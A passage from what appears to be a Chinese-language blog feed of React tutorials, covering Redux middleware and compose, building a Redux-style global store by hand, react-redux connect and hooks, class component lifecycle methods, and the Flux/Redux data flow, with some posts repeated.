[middleware1 = next => action => {...}, middleware2 = next => action => {...}, ...]
如果不太清楚的話可以回頭看看 logger 的寫法。
現在 chain 裡面儲存了很多的 next => action => {...}
,下個步驟就是將每個 middleware 的 next 都指向下一個 middleware 函式。
而答案就在 compose 這個函式裡面。 底下是 compose 的實作。
export default function compose(...funcs) {
if (funcs.length === 0) {
return (arg) => arg
}
if (funcs.length === 1) {
return funcs[0]
}
return funcs.reduce((a, b) => (...args) => a(b(...args)))
}
reduce 的用法可以參考 MDN Web Docs。
假設有兩個 middleware 分別是 logger 與 reportError,情況會像下面這樣:
const logger = (next) {
return function dispatchAndLog(action) {
console.log('dispatching', action);
let result = next(action);
console.log('next state', store.getState());
return result;
}
}
const reportError = next => action => {...}
// reduce 回傳的函式
return (next) => logger(reportError(next))
所以 reduce 最後會回傳一個函式,這個函式暴露出最後一個 middleware 的 next 參數,想當然爾要放入 dispatch 來完成對 dispatch 的包裝。
現在再看一次剛剛的圖應該清楚多了!
如果把事情簡化成只有一個 middleware,也就是 logger,會更好解釋。此時的 dispatch 也就會是:
dispatch = (action) {
console.log('dispatching', action);
let result = store.dispatch(action);
console.log('next state', store.getState());
return result;
}
applyMiddleware 的最後一個步驟就是把原本串聯在一起的 middleware 傳到 redux 中,改掉原本的 dispatch 函式。到此為止加強版的 store 就被建立起來了。
最後當 dispatch 被呼叫時,就會先經過 middleware 的邏輯以後才實際發出 dispatch 讓 reducer 處理。
]]>在 react 裡改變狀態的方法不外乎這兩種(先不討論 context):
我們來看看這個範例,在這個範例裡面。 App 元件底下有兩個元件,一個叫做 Nav,一個叫 Home。
當我們在 Home 的輸入框中想要達到送出輸入框的內容來改變 Nav 上面的文字,你會怎麼做呢?
如果在 Home 元件創建 state 是不可行的,因為沒有辦法把修改這個 state 的方法先往上傳到 App 再往下傳到 Nav。
唯一可行的辦法是將 state 提升到 App 去,如此一來才可以順利透過 props 往下傳遞。
為了更清楚一點,可以參考這張圖。
但是當兩個需要溝通的元件位在元件樹的相鄰很遠的距離呢? 像是這張圖這樣。
除了辛苦的很上層的父元件傳遞下來還有沒有其他辦法呢?
在進入教學以前,可以先看看完成版。
有一個解決辦法是創造一個 Global State,獨立於 react 的所有元件,大家都可以直接跟這個 Gloabal State 拿。
我們再回到最一開始的範例。
首先創建一個 global state。
// globalState.js
let globalState = {
navText: "Logo"
};
export { globalState };
`
接著在 Nav 以及 Home 元件都引入 globalState
import { globalState } from './globalState'
在 Nav 呈現 navText
// Home
<Container>
<Logo>{globalState.navText}</Logo>
</Container>
在 Home 加上 click EventListener 處理更新 navText 的內容
// Nav
const handleClick = (e) => {
const input = document.querySelector("#input");
globalState.navText = input.value;
};
在這裡稍微暫停一下,有人可能會有疑問在兩個地方引入 globalState,這樣會不會產生兩個 module 層級的作用域呢? 事實上是不會的噢!
測試底下這個簡單的範例便可以知道了。
首先簡單寫一個模組:
// module.js
console.log('Hello World');
接著將這個模組重複匯入兩次:
//index.js
import './module.js';
import './module.js';
事實上只會打印一次 Hello World
,也就是說模組只會在首次匯入時評估,這樣的特性使得模組內最上層的作用域適合被用來進行初始化、建立模組內部的資料結構。
如果需要讓功能可以被重複使用多次,則應該將其包成 function 匯出。就像 globalState 初始化 store 並將改變 store 的方法包成 function 匯出一般。
看起來好像可行,但問題是當 Home 不停的改動 navText,Nav 卻不知情,只要 Nav 的 render function 沒有被觸發就不會看到 navText 在畫面上更新。
不然換個想法好了,先把更改 globalState 的方法統一交由 globalState 這裡提供,只要有訂閱 globalState 的元件,就會在元件更改的時候收到通知,至於收到通知以後要做甚麼可以寫在訂閱的 callback function 裡,而這個 callback function 會被帶入新的 globalState!
直接上程式碼
// globalState
const callbacks = [];
// 依序通知(執行所有訂閱者的 callback,並帶入新的 globalState)所有訂閱者
function notify() {
const newState = JSON.parse(JSON.stringify(globalState));
for (const callback of callbacks) {
callback(globalState);
}
}
// 一旦使用者使用 subscribe 便可以在 globalState 更新時自動執行 callback
export const subscribe = (callback) => {
callbacks.push(callback);
};
// 要更改 globalState 統一交由 setGlobalState
export const setGlobalState = (state) => {
globalState = state;
notify();
};
let globalState = {
navText: "Logo"
};
接著讓 Nav 訂閱一下吧! 而 Home 則需要用到 setGlobalState
// Nav
function Nav() {
const [navText, setNavText] = useState("");
// 第一次 render 完訂閱 globalState,其中 callback function 則 call 自己的 setState function
useEffect(() => {
subscribe((globalState) => {
setNavText(globalState.navText);
});
}, []);
return (
<Container>
<Logo>{navText}</Logo>
</Container>
);
}
// Home
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
// 呼叫 globalState 提供的方法更改 globalState
setGlobalState({
navText: input.value
});
};
return (
<Container>
<Input id="input" />
<Button onClick={handleClick}>submit</Button>
</Container>
);
}
到此為止,已經可以達成元件間不用透過 props 跨組件的溝通了!
每次要訂閱都要像 Nav 一樣又用 useState 又用 useEffect 好麻煩,如果可以把他們抽成一個方法不是容易多了嗎?
請看程式碼:
// globalState
export const connect = (Comp) => {
// 把 useState 與 useEffect 抽到更高層的 component
function container() {
const [state, setState] = useState({});
useEffect(() => {
subscribe((globalState) => {
setState(globalState);
});
}, []);
// 把更新完的 state 用 props 的方式傳到原本的 component
return <Comp {...state} />;
}
// 回傳更高層的 component
return container;
};
從這邊開始可以開兩個資料夾,一個存放原來的 components,一個存放 connect 過後的 components(或叫 containers)
// ./containers/Nav.js
import { connect } from "../globalState.js";
import Nav from "../components/Nav.js";
export default connect(Nav);
記得在 App 的地方改成引入 connect 產生的 component 才算成功。
想想還有甚麼可以再優化的地方,如果是多人協作的話,直接動用到 setGlobalState 好像有點可怕,很容易發生在不知情的情況下把 GlobalState 弄成四不像的情況。
不然這樣好了,讓使用者只能使用特定的某些方式去修改 globalState 就不會發生預期外的情況了。
// globalState.js
// 將 setGlobalState 換成 dispatch
export const dispatch = (action) => {
// 只有指定的 action 可以更改到 globalState
if (action.type === "UPDATE_NAVTEXT") {
globalState.navText = action.value;
}
notify();
};
// ./components/Home.js
// 將 setGlobalState 取代成 dispatch
import { dispatch } from "../globalState.js";
/*
....
*/
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
// 發送 UPDATE_NAVTEXT 來更改 globalState
dispatch({
type: "UPDATE_NAVTEXT",
value: input.value
});
};
/*
...
*/
}
雖然有點龜毛,但是常常遇到把複雜的字串打錯的情況,像是剛剛的例子裡,action type 的名稱叫做 UPDATE_NAVTEXT
,如果在 dispatch 時不小心打錯,沒人會知道,因為在 JS 看起來你就是輸入了一些字串,沒什麼問題。
如果把這些動作的種類名稱另外寫在某個檔案再引入,JS 便可以順利偵錯了,因為引入沒有定義的值是會丟出錯誤的。
// actionTypes.js
export const UPDATE_NAVTEXT = 'UPDATE_NAVTEXT'
// globalState.js
import { UPDATE_NAVTEXT } from "./actionTypes.js";
export const dispatch = (action) => {
if (action.type === UPDATE_NAVTEXT) {
globalState.navText = action.value;
}
notify();
};
// ./components/Home.js
import { UPDATE_NAVTEXT } from "./actionTypes.js";
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
dispatch({
type: UPDATE_NAVTEXT,
value: input.value
});
};
/*
...
*/
}
除了防止 action 的 type 打錯之外,action 除了 type 以外的 attributes 也滿令人頭疼的,因為可能有些 action 的 attribute 叫做 value、有些叫做 text 等等。
為了方便記憶,可以另外新增一個檔案,裡面放了許多定義好的 action creator
,讓使用者不用辛苦的記 action 裡面有哪些參數。
// actions.js
export const UPDATE_NAVTEXT = 'UPDATE_NAVTEXT'
export const updateNavText = (text) => {
return {
type: UPDATE_NAVTEXT,
value: text
};
};
// ./components/Home.js
import { updateNavText } from "../actions.js";
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
console.log(updateNavText(input.value));
dispatch(updateNavText(input.value));
};
/*
...
*/
}
最後還有一點小困擾的地方是在 dispatch function 裡。目前的 dispatch 是這樣定義的。
export const dispatch = (action) => {
if (action.type === UPDATE_NAVTEXT) {
globalState.navText = action.value;
}
notify();
};
當判斷 action type 的條件變多了以後,就很適合另外拆出另一個 function,像這樣子:
const newState = reducer(currentState, action)
因為通過許多的條件判斷最後都是為了回傳新的 State,所以這樣寫可以很清楚的看出 dispatch 的邏輯。
所以現在我們會這樣子改:
// globalState.js
export const dispatch = (action) => {
globalState = reducer(globalState, action);
notify();
};
function reducer(currentState, action) {
switch (action.type) {
case UPDATE_NAVTEXT:
return {
...currentState,
navText: action.value
};
default:
return currentState;
}
}
至於為甚麼要叫 reducer,因為跟 array 的 reduce 方法有異曲同工之妙!
最後看看完成版複習一下吧!
上面的範例其實是透過 Redux 的精神實作的,我們來看看如果使用寫好的 Redux 套件要怎麼達到跨組件的溝通吧!
首先安裝 react-redux
以及 redux
。
底下會著重在 redux 如何與 react 連結的部分。
connect 版本的範例在這裡。
在上層元素使用 Provider 讓底下的元件都可以取用 redux 的 store。
import { Provider } from "react-redux";
import store from "./redux/store";
ReactDOM.render(
<Provider store={store}>
<App />
</Provider>,
document.getElementById("root")
);
接著選取要接收 store 的元件,把它與一個更上層的元件 connect 起來,這個元件會收到最新的 store 變化,並且將 store 還有 dispatch 方法用 props 的方式傳給與它 connect 的元件。
這件事在自己動手做的部分有實際示範過,但是用 react-redux 套件會稍微不一樣。
import { connect } from "react-redux";
import { deleteTodo } from "../redux/actions";
import App from "../components/App";
// 第一個函式可以接收到新的 store,返回值會被當作 props
const mapStateToProps = (store) => {
return {
todos: store.todosReducer.todos
};
};
// 第二個函式可以接收到 dispatch 方法,可以利用它返回一些修改 store 的方法,並當作 props
const mapDispatchToProps = (dispatch) => {
return {
deleteTodo: (payload) => {
dispatch(deleteTodo(payload));
}
};
};
// 連結! 產生一個上層元件
const connectToStore = connect(mapStateToProps, mapDispatchToProps);
export default connectToStore;
hooks 版本的範例在這裡。
hooks 用起來比較簡單,使用 useSelector 以及 useDispatch 來取得 store 以及 dispatch 方法。
import "./App.css";
import AddTodo from "./AddTodo";
import { useSelector, useDispatch } from "react-redux";
import { deleteTodo } from "../redux/actions";
function App() {
// 從 store 取值
const todos = useSelector((store) => store.todosReducer.todos);
// 取得 dispatch
const dispatch = useDispatch();
return (
<div className="App">
<AddTodo />
<ul>
{todos.map((todo) => (
<li key={todo.id}>
{todo.id} {todo.name}
<button
onClick={() => {
dispatch(deleteTodo(todo.id));
}}
>
delete
</button>
</li>
))}
</ul>
</div>
);
}
export default App;
]]>在 react 裡改變狀態的方法不外乎這兩種(先不討論 context):
我們來看看這個範例,在這個範例裡面。 App 元件底下有兩個元件,一個叫做 Nav,一個叫 Home。
當我們在 Home 的輸入框中想要達到送出輸入框的內容來改變 Nav 上面的文字,你會怎麼做呢?
如果在 Home 元件創建 state 是不可行的,因為沒有辦法把修改這個 state 的方法先往上傳到 App 再往下傳到 Nav。
唯一可行的辦法是將 state 提升到 App 去,如此一來才可以順利透過 props 往下傳遞。
為了更清楚一點,可以參考這張圖。
但是當兩個需要溝通的元件位在元件樹的相鄰很遠的距離呢? 像是這張圖這樣。
除了辛苦的很上層的父元件傳遞下來還有沒有其他辦法呢?
在進入教學以前,可以先看看完成版。
有一個解決辦法是創造一個 Global State,獨立於 react 的所有元件,大家都可以直接跟這個 Gloabal State 拿。
我們再回到最一開始的範例。
首先創建一個 global state。
// globalState.js
let globalState = {
navText: "Logo"
};
export { globalState };
`
接著在 Nav 以及 Home 元件都引入 globalState
import { globalState } from './globalState'
在 Nav 呈現 navText
// Home
<Container>
<Logo>{globalState.navText}</Logo>
</Container>
在 Home 加上 click EventListener 處理更新 navText 的內容
// Nav
const handleClick = (e) => {
const input = document.querySelector("#input");
globalState.navText = input.value;
};
在這裡稍微暫停一下,有人可能會有疑問在兩個地方引入 globalState,這樣會不會產生兩個 module 層級的作用域呢? 事實上是不會的噢!
測試底下這個簡單的範例便可以知道了。
首先簡單寫一個模組:
// module.js
console.log('Hello World');
接著將這個模組重複匯入兩次:
//index.js
import './module.js';
import './module.js';
事實上只會打印一次 Hello World
,也就是說模組只會在首次匯入時評估,這樣的特性使得模組內最上層的作用域適合被用來進行初始化、建立模組內部的資料結構。
如果需要讓功能可以被重複使用多次,則應該將其包成 function 匯出。就像 globalState 初始化 store 並將改變 store 的方法包成 function 匯出一般。
看起來好像可行,但問題是當 Home 不停的改動 navText,Nav 卻不知情,只要 Nav 的 render function 沒有被觸發就不會看到 navText 在畫面上更新。
不然換個想法好了,先把更改 globalState 的方法統一交由 globalState 這裡提供,只要有訂閱 globalState 的元件,就會在元件更改的時候收到通知,至於收到通知以後要做甚麼可以寫在訂閱的 callback function 裡,而這個 callback function 會被帶入新的 globalState!
直接上程式碼
// globalState
const callbacks = [];
// 依序通知(執行所有訂閱者的 callback,並帶入新的 globalState)所有訂閱者
function notify() {
const newState = JSON.parse(JSON.stringify(globalState));
for (const callback of callbacks) {
callback(globalState);
}
}
// 一旦使用者使用 subscribe 便可以在 globalState 更新時自動執行 callback
export const subscribe = (callback) => {
callbacks.push(callback);
};
// 要更改 globalState 統一交由 setGlobalState
export const setGlobalState = (state) => {
globalState = state;
notify();
};
let globalState = {
navText: "Logo"
};
接著讓 Nav 訂閱一下吧! 而 Home 則需要用到 setGlobalState
// Nav
function Nav() {
const [navText, setNavText] = useState("");
// 第一次 render 完訂閱 globalState,其中 callback function 則 call 自己的 setState function
useEffect(() => {
subscribe((globalState) => {
setNavText(globalState.navText);
});
}, []);
return (
<Container>
<Logo>{navText}</Logo>
</Container>
);
}
// Home
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
// 呼叫 globalState 提供的方法更改 globalState
setGlobalState({
navText: input.value
});
};
return (
<Container>
<Input id="input" />
<Button onClick={handleClick}>submit</Button>
</Container>
);
}
到此為止,已經可以達成元件間不用透過 props 跨組件的溝通了!
每次要訂閱都要像 Nav 一樣又用 useState 又用 useEffect 好麻煩,如果可以把他們抽成一個方法不是容易多了嗎?
請看程式碼:
// globalState
export const connect = (Comp) => {
// 把 useState 與 useEffect 抽到更高層的 component
function container() {
const [state, setState] = useState({});
useEffect(() => {
subscribe((globalState) => {
setState(globalState);
});
}, []);
// 把更新完的 state 用 props 的方式傳到原本的 component
return <Comp {...state} />;
}
// 回傳更高層的 component
return container;
};
從這邊開始可以開兩個資料夾,一個存放原來的 components,一個存放 connect 過後的 components(或叫 containers)
// ./containers/Nav.js
import { connect } from "../globalState.js";
import Nav from "../components/Nav.js";
export default connect(Nav);
記得在 App 的地方改成引入 connect 產生的 component 才算成功。
想想還有甚麼可以再優化的地方,如果是多人協作的話,直接動用到 setGlobalState 好像有點可怕,很容易發生在不知情的情況下把 GlobalState 弄成四不像的情況。
不然這樣好了,讓使用者只能使用特定的某些方式去修改 globalState 就不會發生預期外的情況了。
// globalState.js
// 將 setGlobalState 換成 dispatch
export const dispatch = (action) => {
// 只有指定的 action 可以更改到 globalState
if (action.type === "UPDATE_NAVTEXT") {
globalState.navText = action.value;
}
notify();
};
// ./components/Home.js
// 將 setGlobalState 取代成 dispatch
import { dispatch } from "../globalState.js";
/*
....
*/
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
// 發送 UPDATE_NAVTEXT 來更改 globalState
dispatch({
type: "UPDATE_NAVTEXT",
value: input.value
});
};
/*
...
*/
}
雖然有點龜毛,但是常常遇到把複雜的字串打錯的情況,像是剛剛的例子裡,action type 的名稱叫做 UPDATE_NAVTEXT
,如果在 dispatch 時不小心打錯,沒人會知道,因為在 JS 看起來你就是輸入了一些字串,沒什麼問題。
如果把這些動作的種類名稱另外寫在某個檔案再引入,JS 便可以順利偵錯了,因為引入沒有定義的值是會丟出錯誤的。
// actionTypes.js
export const UPDATE_NAVTEXT = 'UPDATE_NAVTEXT'
// globalState.js
import { UPDATE_NAVTEXT } from "./actionTypes.js";
export const dispatch = (action) => {
if (action.type === UPDATE_NAVTEXT) {
globalState.navText = action.value;
}
notify();
};
// ./components/Home.js
import { UPDATE_NAVTEXT } from "./actionTypes.js";
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
dispatch({
type: UPDATE_NAVTEXT,
value: input.value
});
};
/*
...
*/
}
除了防止 action 的 type 打錯之外,action 除了 type 以外的 attributes 也滿令人頭疼的,因為可能有些 action 的 attribute 叫做 value、有些叫做 text 等等。
為了方便記憶,可以另外新增一個檔案,裡面放了許多定義好的 action creator
,讓使用者不用辛苦的記 action 裡面有哪些參數。
// actions.js
export const UPDATE_NAVTEXT = 'UPDATE_NAVTEXT'
export const updateNavText = (text) => {
return {
type: UPDATE_NAVTEXT,
value: text
};
};
// ./components/Home.js
import { updateNavText } from "../actions.js";
function Home() {
const handleClick = (e) => {
const input = document.querySelector("#input");
console.log(updateNavText(input.value));
dispatch(updateNavText(input.value));
};
/*
...
*/
}
最後還有一點小困擾的地方是在 dispatch function 裡。目前的 dispatch 是這樣定義的。
export const dispatch = (action) => {
if (action.type === UPDATE_NAVTEXT) {
globalState.navText = action.value;
}
notify();
};
當判斷 action type 的條件變多了以後,就很適合另外拆出另一個 function,像這樣子:
const newState = reducer(currentState, action)
因為通過許多的條件判斷最後都是為了回傳新的 State,所以這樣寫可以很清楚的看出 dispatch 的邏輯。
所以現在我們會這樣子改:
// globalState.js
export const dispatch = (action) => {
globalState = reducer(globalState, action);
notify();
};
function reducer(currentState, action) {
switch (action.type) {
case UPDATE_NAVTEXT:
return {
...currentState,
navText: action.value
};
default:
return currentState;
}
}
至於為甚麼要叫 reducer,因為跟 array 的 reduce 方法有異曲同工之妙!
最後看看完成版複習一下吧!
上面的範例其實是透過 Redux 的精神實作的,我們來看看如果使用寫好的 Redux 套件要怎麼達到跨組件的溝通吧!
首先安裝 react-redux
以及 redux
。
底下會著重在 redux 如何與 react 連結的部分。
connect 版本的範例在這裡。
在上層元素使用 Provider 讓底下的元件都可以取用 redux 的 store。
import { Provider } from "react-redux";
import store from "./redux/store";
ReactDOM.render(
<Provider store={store}>
<App />
</Provider>,
document.getElementById("root")
);
接著選取要接收 store 的元件,把它與一個更上層的元件 connect 起來,這個元件會收到最新的 store 變化,並且將 store 還有 dispatch 方法用 props 的方式傳給與它 connect 的元件。
這件事在自己動手做的部分有實際示範過,但是用 react-redux 套件會稍微不一樣。
import { connect } from "react-redux";
import { deleteTodo } from "../redux/actions";
import App from "../components/App";
// 第一個函式可以接收到新的 store,返回值會被當作 props
const mapStateToProps = (store) => {
return {
todos: store.todosReducer.todos
};
};
// 第二個函式可以接收到 dispatch 方法,可以利用它返回一些修改 store 的方法,並當作 props
const mapDispatchToProps = (dispatch) => {
return {
deleteTodo: (payload) => {
dispatch(deleteTodo(payload));
}
};
};
// 連結! 產生一個上層元件
const connectToStore = connect(mapStateToProps, mapDispatchToProps);
export default connectToStore;
hooks 版本的範例在這裡。
hooks 用起來比較簡單,使用 useSelector 以及 useDispatch 來取得 store 以及 dispatch 方法。
import "./App.css";
import AddTodo from "./AddTodo";
import { useSelector, useDispatch } from "react-redux";
import { deleteTodo } from "../redux/actions";
function App() {
// 從 store 取值
const todos = useSelector((store) => store.todosReducer.todos);
// 取得 dispatch
const dispatch = useDispatch();
return (
<div className="App">
<AddTodo />
<ul>
{todos.map((todo) => (
<li key={todo.id}>
{todo.id} {todo.name}
<button
onClick={() => {
dispatch(deleteTodo(todo.id));
}}
>
delete
</button>
</li>
))}
</ul>
</div>
);
}
export default App;
]]>
想要了解 Class Component 的生命週期,可以在 React 的官網上找到react-lifecycle-methods-diagram
從這張圖可以很好的展示了在 Mount, Updating 還有 Unmounting 的過程中會呼叫哪一些函式。
Mount 顧名思義是要將 Component 給掛到 DOM 上面,所以說如果 DOM 裡面如果不存在這個 component,肯定會執行 Mount 的流程。
Updating 是指將 Component 進行更新,例如原本 DOM 上面已經存在某個 component,如果 setState 被觸發了,那麼會走 Updating 的流程。
Unmount 是指從 DOM 上面拿掉 component,所以說在 component 被 unmount 之後,如果想要再讓它出現,必須走 Mount 的流程。
下面來一一看看圖裡面的函式的實際應用吧!
Constructor 會在 component 進入 Mount 的流程的最一開始被呼叫,在這裡最常做的事情是設定 component 的 state,另外要跑一次 super()
,跑一次 Compoent class 的 constructor。
constructor(props) {
super(props);
this.state = {
number: 1
};
console.log("construct Component");
}
從生命週期的圖中可以看到 shouldComponentUpdate 會在 update 的流程中呼叫 render 前使用,如果回傳 false 則不會更新,如果回傳 true 則會接續更新的流程,通常可以用在優化效能方面,看下面的例子。
import { Component } from "react";
import Content from "./Content";
class Title extends Component {
constructor(props) {
super(props);
this.state = {
content: "老鼠"
};
console.log("construct Title");
this.handleChangeContent = this.handleChangeContent.bind(this);
}
shouldComponentUpdate(nextProps, nextState) {
if (nextState.content !== this.state.content) return true;
return false;
}
handleChangeContent() {
console.log("clicked");
const options = ["倉鼠", "銀狐", "老公公鼠"];
this.setState({
content: options[Math.floor(Math.random() * options.length)]
});
}
render() {
console.log("render Title");
return (
<div>
<h1>Title: 老鼠家族</h1>
{<Content content={this.state.content} />}
<button onClick={this.handleChangeContent}>改變內文</button>
</div>
);
}
}
export default Title;
我們可以透過檢查 state.content 有沒有改變,來決定是不是要更新 component,這有賴於 shouldComponentUpdate 的參數裡會帶入即將改變的 props 以及 state。
來看一下 Demo 的影片,可以發現只有在 content 的內容實際變動的時候,才會觸發 render function。
componentDidMount 會在 component 被掛載到 DOM 上時被呼叫,而 componentWillUnmount 則會在 component 被 unmount 前呼叫。
他們常常會被成雙使用,因為可能在 component 掛載後的 sideEffect 需要在 unmount 時被清除。
看看下面的範例:
//Title.js
import { Component } from "react";
import Content from "./Content";
class Title extends Component {
constructor(props) {
super(props);
this.state = {
content: "老鼠",
isShow: true
};
this.handleChangeContent = this.handleClick.bind(this);
}
handleClick() {
const options = ["倉鼠", "銀狐", "老公公鼠"];
this.setState({
content: options[Math.floor(Math.random() * options.length)],
isShow: !this.state.isShow
});
}
render() {
return (
<div>
<h1>Title: 老鼠家族</h1>
{this.state.isShow && <Content content={this.state.content} />}
<button onClick={this.handleChangeContent}>開關</button>
</div>
);
}
}
export default Title;
//Content.js
import { Component } from "react";
class Content extends Component {
constructor(props) {
super(props);
}
componentDidMount() {
console.log("did mount");
this.timer = setTimeout(() => {
alert(this.props.content);
}, 2000);
}
componentWillUnmount() {
console.log("Will Unmount");
clearTimeout(this.timer);
}
render() {
return (
<div>
<h1>Content: {this.props.content}</h1>
</div>
);
}
}
export default Content;
點擊按鈕除了可以調控是要將 Content component 給放上 DOM 或者是從 DOM 上面移除,也會同時修改 state.content 的內容。
在 DidMount 兩秒後會 alert 提醒新改變的 state.content 的值,不過因為如果 Content component 被 unmount 的情況下,實際上就不需要 alert 了,這時候在 componentWillUnmount 將 timer 刪掉便是很好的做法。
我們來看,點擊一次讓內容以及 alert 出現的情況。
再接著看,連續點擊兩次讓內容快速出現又消失,這一次不會跳出 alert。
componentDidUpdate 比較類似於 componentDidMount,不過他是在每一次元件更新時,被確保會被執行一次,除非 shouldComponentUpdate 回傳 false。
像 componentDidMount 一樣,可以拿來比對 prevProps/prevState 及 this.props/this.state 的 狀態差異,做像是存取 DOM、 重畫 Canvas、 AJAX 等等。
]]>想要了解 Class Component 的生命週期,可以在 React 的官網上找到react-lifecycle-methods-diagram
從這張圖可以很好的展示了在 Mount, Updating 還有 Unmounting 的過程中會呼叫哪一些函式。
Mount 顧名思義是要將 Component 給掛到 DOM 上面,所以說如果 DOM 裡面如果不存在這個 component,肯定會執行 Mount 的流程。
Updating 是指將 Component 進行更新,例如原本 DOM 上面已經存在某個 component,如果 setState 被觸發了,那麼會走 Updating 的流程。
Unmount 是指從 DOM 上面拿掉 component,所以說在 component 被 unmount 之後,如果想要再讓它出現,必須走 Mount 的流程。
下面來一一看看圖裡面的函式的實際應用吧!
Constructor 會在 component 進入 Mount 的流程的最一開始被呼叫,在這裡最常做的事情是設定 component 的 state,另外要跑一次 super()
,跑一次 Compoent class 的 constructor。
constructor(props) {
super(props);
this.state = {
number: 1
};
console.log("construct Component");
}
從生命週期的圖中可以看到 shouldComponentUpdate 會在 update 的流程中呼叫 render 前使用,如果回傳 false 則不會更新,如果回傳 true 則會接續更新的流程,通常可以用在優化效能方面,看下面的例子。
import { Component } from "react";
import Content from "./Content";
class Title extends Component {
constructor(props) {
super(props);
this.state = {
content: "老鼠"
};
console.log("construct Title");
this.handleChangeContent = this.handleChangeContent.bind(this);
}
shouldComponentUpdate(nextProps, nextState) {
if (nextState.content !== this.state.content) return true;
return false;
}
handleChangeContent() {
console.log("clicked");
const options = ["倉鼠", "銀狐", "老公公鼠"];
this.setState({
content: options[Math.floor(Math.random() * options.length)]
});
}
render() {
console.log("render Title");
return (
<div>
<h1>Title: 老鼠家族</h1>
{<Content content={this.state.content} />}
<button onClick={this.handleChangeContent}>改變內文</button>
</div>
);
}
}
export default Title;
我們可以透過檢查 state.content 有沒有改變,來決定是不是要更新 component,這有賴於 shouldComponentUpdate 的參數裡會帶入即將改變的 props 以及 state。
來看一下 Demo 的影片,可以發現只有在 content 的內容實際變動的時候,才會觸發 render function。
componentDidMount 會在 component 被掛載到 DOM 上時被呼叫,而 componentWillUnmount 則會在 component 被 unmount 前呼叫。
他們常常會被成雙使用,因為可能在 component 掛載後的 sideEffect 需要在 unmount 時被清除。
看看下面的範例:
//Title.js
import { Component } from "react";
import Content from "./Content";
class Title extends Component {
constructor(props) {
super(props);
this.state = {
content: "老鼠",
isShow: true
};
this.handleChangeContent = this.handleClick.bind(this);
}
handleClick() {
const options = ["倉鼠", "銀狐", "老公公鼠"];
this.setState({
content: options[Math.floor(Math.random() * options.length)],
isShow: !this.state.isShow
});
}
render() {
return (
<div>
<h1>Title: 老鼠家族</h1>
{this.state.isShow && <Content content={this.state.content} />}
<button onClick={this.handleChangeContent}>開關</button>
</div>
);
}
}
export default Title;
//Content.js
import { Component } from "react";
class Content extends Component {
constructor(props) {
super(props);
}
componentDidMount() {
console.log("did mount");
this.timer = setTimeout(() => {
alert(this.props.content);
}, 2000);
}
componentWillUnmount() {
console.log("Will Unmount");
clearTimeout(this.timer);
}
render() {
return (
<div>
<h1>Content: {this.props.content}</h1>
</div>
);
}
}
export default Content;
點擊按鈕除了可以調控是要將 Content component 給放上 DOM 或者是從 DOM 上面移除,也會同時修改 state.content 的內容。
在 DidMount 兩秒後會 alert 提醒新改變的 state.content 的值,不過因為如果 Content component 被 unmount 的情況下,實際上就不需要 alert 了,這時候在 componentWillUnmount 將 timer 刪掉便是很好的做法。
我們來看,點擊一次讓內容以及 alert 出現的情況。
再接著看,連續點擊兩次讓內容快速出現又消失,這一次不會跳出 alert。
componentDidUpdate 比較類似於 componentDidMount,不過他是在每一次元件更新時,被確保會被執行一次,除非 shouldComponentUpdate 回傳 false。
像 componentDidMount 一樣,可以拿來比對 prevProps/prevState 及 this.props/this.state 的 狀態差異,做像是存取 DOM、 重畫 Canvas、 AJAX 等等。
]]>在 Redux 被提出來以前,類似的概念是 Flux,Flux 提出了 Store 的概念。 在 React 裡,因為每個 Component 都有自己的 State,為了共用這些 State,造成了許多麻煩。
例如將 State 往上移到 Parent State,最後 Parent Component 擁有一堆 State。
這樣的方法的好壞見人見智,不過有些人覺得這樣子不太自然,因為他們認為 child 應該擁有自己的 State 才可以做到元件獨立化。
底下是從 React Flux 擷取的 Flux 資料流。
我們可以看到存放 State 的地方被移出了 React views,統一存放在 Store。
接著透過 dispatcher 調用 callback 與 Store 互動形成單向的資料流。
下面用幫 todo-list 新增 todo 的例子來模擬 Redux 的資料流
使用者輸入 Clean House
以後送出 todo,此時會觸發幫綁在送出鈕上的 EventListerner。
當 EventListner 被觸發以後會調用 store 的 dispatch 方法,通過 dispatch 方法,一個 action 便被送了出來。
由 dispatch 送出的 action 會交給 rootReducer,rootReducer 裡頭有許多小的 Reducer 分別處理不同的 actions。
action 會被交給有定義這個 action 處理方式的 reducer,除此之外,這個 reducer 還需要知道目前的 state,假設是 ['Cook']
好了。
最後 reducer 會產生新的 state,也就是 ['Cook','Clean House']
,接著重新渲染畫面讓使用者知道已經順利新增 todo。
要回答這個問題,我想也許可以先看結果,也就是甚麼樣的專案適合用到 redux。
知道了甚麼樣的專案適合使用 Redux 以後,可以回頭來看為甚麼 Redux 可以滿足這些需求。
A Predictable State Container for JS Apps
這是官網給 Redux 下的定義。 為甚麼說 Redux 是一個 Predictable
State Container 呢? 這個問題可以從 Three Principles 入手。
Global state 都被保存在 Single-state tree 中。
// 透過 store 的 getState 方法來拿到 global state
store.getState()
State 只能讀取,除非呼叫透過定義好的 action 發起更新請求。
store.dispatch({
type: 'ADD_TODO',
payload: {
id: 1,
content: 'Clean House',
}
})
這些 action 要如何改變 State 統一在 reducer 裡定義。
function todos(state = initialState, {type, payload}) {
switch (type) {
case ADD_TODO:
return [
...state,
{
id: id++,
content: payload.content,
isDone: false
}
]
case DELETE_TODO:
return state.filter(todo =>
todo.id !== payload.id
)
case EDIT_TODO:
return state.map(todo =>
todo.id === payload.id ?
{ ...todo, content: payload.content } :
todo
)
default:
return state
}
}
reducer 被設計成可以組合的,因此可以合併成上面提到的 Single Global state,方便隨時彈性的擴充。
import { combineReducers } from 'redux'
import todos from './todos'
import visibilityFilter from './visibilityFilter'
const rootReducer = combineReducers({
todos,
visibilityFilter
})
我們可以稍微歸納 Redux 的幾個特性:
我們不難發現當 app 的狀態變得複雜或是多人協作的時候為甚麼 Redux 會是一個好選擇,因為通過 Redux,我們可以
在 Redux 被提出來以前,類似的概念是 Flux,Flux 提出了 Store 的概念。 在 React 裡,因為每個 Component 都有自己的 State,為了共用這些 State,造成了許多麻煩。
例如將 State 往上移到 Parent State,最後 Parent Component 擁有一堆 State。
這樣的方法的好壞見人見智,不過有些人覺得這樣子不太自然,因為他們認為 child 應該擁有自己的 State 才可以做到元件獨立化。
底下是從 React Flux 擷取的 Flux 資料流。
